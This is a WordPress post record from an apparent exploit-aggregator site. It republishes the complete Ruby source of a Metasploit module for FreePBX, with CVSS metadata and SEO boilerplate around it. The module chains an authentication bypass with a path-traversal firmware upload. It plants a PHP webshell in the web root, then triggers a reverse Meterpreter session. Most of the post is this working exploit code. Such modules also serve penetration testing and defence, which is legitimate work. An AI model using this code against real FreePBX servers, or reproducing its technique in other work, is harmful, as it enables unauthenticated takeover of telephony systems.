{"id":37954,"date":"2026-01-28T13:46:33","date_gmt":"2026-01-28T13:46:33","guid":{"rendered":"http:\/\/localhost\/?p=37954"},"modified":"2026-01-28T13:46:33","modified_gmt":"2026-01-28T13:46:33","slug":"freepbx-firmware-file-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37954","title":{"rendered":"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T19:28:08&#8243;,&#8221;description&#8221;:&#8221;The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039,&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-28T19:00:04&#8243;,&#8221;modified&#8221;:&#8221;2026-01-28T19:00:04&#8243;,&#8221;type&#8221;:&#8221;metasploit&#8221;,&#8221;title&#8221;:&#8221;FreePBX firmware file upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-&#8220;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-61678&#8243;,&#8221;CVE-2025-66039&#8243;],&#8221;sourceData&#8221;:&#8221;##\\n# This module requires Metasploit: https:\/\/metasploit.com\/download\\n# Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n##\\n\\nclass MetasploitModule \\u003c Msf::Exploit::Remote\\n  Rank = ExcellentRanking\\n\\n  include Exploit::Remote::HttpClient\\n  include Msf::Exploit::FileDropper\\n\\n  def initialize(info = {})\\n    super(\\n      update_info(\\n        info,\\n        &#8216;Name&#8217; =\\u003e &#8216;FreePBX firmware file upload&#8217;,\\n        &#8216;Description&#8217; =\\u003e %q{\\n          The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions before 16.0.44 and 17.0.23 are vulnerable to CVE-2025-66039, while versions before 16.0.92 and 17.0.6 are vulnerable to CVE-2025-61678. The former represents an authentication bypass: when FreePBX uses Webserver Authorization Mode (an option the admin can enable), it allows an attacker to authenticate as any user. The latter allows unrestricted file uploads via firmware upload, including path traversal. These vulnerabilities allow unauthenticated remote code execution by bypassing authentication and placing a webshell in the web server&#8217;s directory.\\n        },\\n        &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n        &#8216;Author&#8217; =\\u003e [\\n          &#8216;Noah King&#8217;,    # research\\n          &#8216;msutovsky-r7&#8217;  # module\\n        ],\\n        &#8216;References&#8217; =\\u003e [\\n          [ &#8216;CVE&#8217;, &#8216;2025-66039&#8217;], # Authentication Bypass\\n          [ &#8216;CVE&#8217;, &#8216;2025-61678&#8217;], # File Upload and Path Traversal\\n          [ &#8216;URL&#8217;, &#8216;https:\/\/horizon3.ai\/attack-research\/the-freepbx-rabbit-hole-cve-2025-66039-and-others\/&#8217;]\\n        ],\\n        &#8216;Platform&#8217; =\\u003e [&#8216;php&#8217;],\\n        &#8216;Targets&#8217; =\\u003e [\\n          [\\n            &#8216;PHP&#8217;,\\n            {\\n              &#8216;Platform&#8217; =\\u003e &#8216;php&#8217;,\\n              &#8216;Arch&#8217; =\\u003e ARCH_PHP,\\n              &#8216;DefaultOptions&#8217; =\\u003e { &#8216;PAYLOAD&#8217; =\\u003e &#8216;php\/meterpreter\/reverse_tcp&#8217; },\\n              &#8216;Type&#8217; =\\u003e :php\\n            }\\n          ]\\n        ],\\n        &#8216;DisclosureDate&#8217; =\\u003e &#8216;2025-12-11&#8217;,\\n        &#8216;DefaultTarget&#8217; =\\u003e 0,\\n        &#8216;Notes&#8217; =\\u003e {\\n          &#8216;Stability&#8217; =\\u003e [CRASH_SAFE],\\n          &#8216;Reliability&#8217; =\\u003e [REPEATABLE_SESSION],\\n          &#8216;SideEffects&#8217; =\\u003e [ARTIFACTS_ON_DISK, IOC_IN_LOGS]\\n        }\\n      )\\n    )\\n\\n    register_options(\\n      [\\n        OptString.new(&#8216;USERNAME&#8217;, [true, &#8216;A valid FreePBX user&#8217;]),\\n      ]\\n    )\\n  end\\n\\n  def check\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;admin&#8217;, &#8216;config.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n    })\\n\\n    if (res\\u0026.code == 401 \\u0026\\u0026 res.body.include?(&#8216;FreePBX&#8217;)) ||\\n       (res.code == 500)\\n      return CheckCode::Detected(&#8216;The FreePBX with Webserver authentication mode detected&#8217;)\\n    end\\n\\n    CheckCode::Safe(&#8216;Webserver authorization mode is not set&#8217;)\\n  end\\n\\n  def get_session_cookie\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;admin&#8217;, &#8216;config.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n      &#8216;headers&#8217; =\\u003e { &#8216;Authorization&#8217; =\\u003e basic_auth(datastore[&#8216;USERNAME&#8217;], Rex::Text.rand_text_alphanumeric(6)) },\\n      &#8216;keep_cookies&#8217; =\\u003e true\\n    })\\n\\n    fail_with(Failure::UnexpectedReply, &#8216;Received unexpected reply&#8217;) unless res\\u0026.code == 401\\n\\n    fail_with(Failure::NotVulnerable, &#8216;Target might not be vulnerable to authentication bypass&#8217;) unless res.get_cookies\\n  end\\n\\n  def upload_webshell\\n    @target_payload_file_name = %(#{Rex::Text.rand_text_alphanumeric(8).downcase}.php)\\n    @target_dir = Rex::Text.rand_text_alphanumeric(8).downcase\\n\\n    form_data = Rex::MIME::Message.new\\n\\n    form_data.add_part(SecureRandom.uuid, nil, nil, &#8216;form-data; name=\\&#8221;dzuuid\\&#8221;&#8216;)\\n    form_data.add_part(&#8216;0&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dzchunkindex\\&#8221;&#8216;)\\n    form_data.add_part(payload.encoded.length.to_s, nil, nil, &#8216;form-data; name=\\&#8221;dztotalfilesize\\&#8221;&#8216;)\\n    form_data.add_part(&#8216;2000000&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dzchunksize\\&#8221;&#8216;)\\n    form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dztotalchunkcount\\&#8221;&#8216;)\\n    form_data.add_part(&#8216;0&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;dzchunkbyteoffset\\&#8221;&#8216;)\\n    form_data.add_part(\\&#8221;..\/..\/..\/var\/www\/html\/#{@target_dir}\\&#8221;, nil, nil, &#8216;form-data; name=\\&#8221;fwbrand\\&#8221;&#8216;)\\n    form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;fwmodel\\&#8221;&#8216;)\\n    form_data.add_part(&#8216;1&#8217;, nil, nil, &#8216;form-data; name=\\&#8221;fwversion\\&#8221;&#8216;)\\n    form_data.add_part(payload.encoded, &#8216;application\/octet-stream&#8217;, nil, %(form-data; name=\\&#8221;file\\&#8221;; filename=\\&#8221;#{@target_payload_file_name}\\&#8221;))\\n\\n    res = send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(&#8216;admin&#8217;, &#8216;ajax.php&#8217;),\\n      &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n      &#8216;headers&#8217; =\\u003e {\\n        &#8216;Authorization&#8217; =\\u003e basic_auth(Rex::Text.rand_text_alphanumeric(6), Rex::Text.rand_text_alphanumeric(6)),\\n        &#8216;Referer&#8217; =\\u003e full_uri(normalize_uri(&#8216;admin&#8217;, &#8216;config.php&#8217;))\\n      },\\n      &#8216;ctype&#8217; =\\u003e \\&#8221;multipart\/form-data; boundary=#{form_data.bound}\\&#8221;,\\n      &#8216;vars_get&#8217; =\\u003e { &#8216;module&#8217; =\\u003e &#8216;endpoint&#8217;, &#8216;command&#8217; =\\u003e &#8216;upload_cust_fw&#8217; },\\n      &#8216;data&#8217; =\\u003e form_data.to_s\\n    })\\n\\n    fail_with(Failure::PayloadFailed, &#8216;Failed to upload webshell&#8217;) unless res\\u0026.code == 500\\n    register_dir_for_cleanup(\\&#8221;..\/#{@target_dir}\\&#8221;)\\n  end\\n\\n  def trigger_payload\\n    send_request_cgi({\\n      &#8216;uri&#8217; =\\u003e normalize_uri(@target_dir, @target_payload_file_name),\\n      &#8216;method&#8217; =\\u003e &#8216;GET&#8217;\\n    })\\n  end\\n\\n  def exploit\\n    print_status(&#8216;Trying to bypass authentication&#8230;&#8217;)\\n    get_session_cookie\\n\\n    print_good(&#8216;Bypass successful, trying upload webshell&#8230;&#8217;)\\n\\n    upload_webshell\\n\\n    print_good(&#8216;Upload successful, triggering&#8230;&#8217;)\\n\\n    trigger_payload\\n  end\\nend\\n&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/github.com\/rapid7\/metasploit-framework\/blob\/master\/modules\/exploits\/unix\/http\/freepbx_firmware_file_upload.rb&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.3,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:H\/SI:N\/VA:H\/SA:N&#8221;,&#8221;version&#8221;:&#8221;4.0&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/www.rapid7.com\/db\/modules\/exploit\/unix\/http\/freepbx_firmware_file_upload\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-28T19:28:08&#8243;,&#8221;description&#8221;:&#8221;The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,55,12,169,13,7,11,5],"class_list":["post-37954","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-93","tag-exploit","tag-metasploit","tag-news","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD- zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=37954\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD- zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-01-28T19:28:08&#8243;,&#8221;description&#8221;:&#8221;The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=37954\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-01-28T13:46:33+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-\",\"datePublished\":\"2026-01-28T13:46:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954\"},\"wordCount\":979,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.3\",\"exploit\",\"metasploit\",\"news\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37954#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954\",\"name\":\"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD- zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-01-28T13:46:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=37954\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=37954#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD- zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=37954","og_locale":"en_US","og_type":"article","og_title":"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD- zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-01-28T19:28:08&#8243;,&#8221;description&#8221;:&#8221;The FreePBX versions prior to 16.0.44,16.0.92 and 17.0.6,17.0.23 are vulnerable to multiple CVEs, specifically CVE-2025-66039 and CVE-2025-61678, in the context of this module. The versions...","og_url":"https:\/\/zero.redgem.net\/?p=37954","og_site_name":"zero redgem","article_published_time":"2026-01-28T13:46:33+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=37954#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=37954"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-","datePublished":"2026-01-28T13:46:33+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=37954"},"wordCount":979,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.3","exploit","metasploit","news","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=37954#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=37954","url":"https:\/\/zero.redgem.net\/?p=37954","name":"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD- zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-01-28T13:46:33+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=37954#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=37954"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=37954#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"FreePBX firmware file upload_MSF:EXPLOIT-UNIX-HTTP-FREEPBX_FIRMWARE_FILE_UPLOAD-"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37954","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=37954"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/37954\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=37954"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=37954"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=37954"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}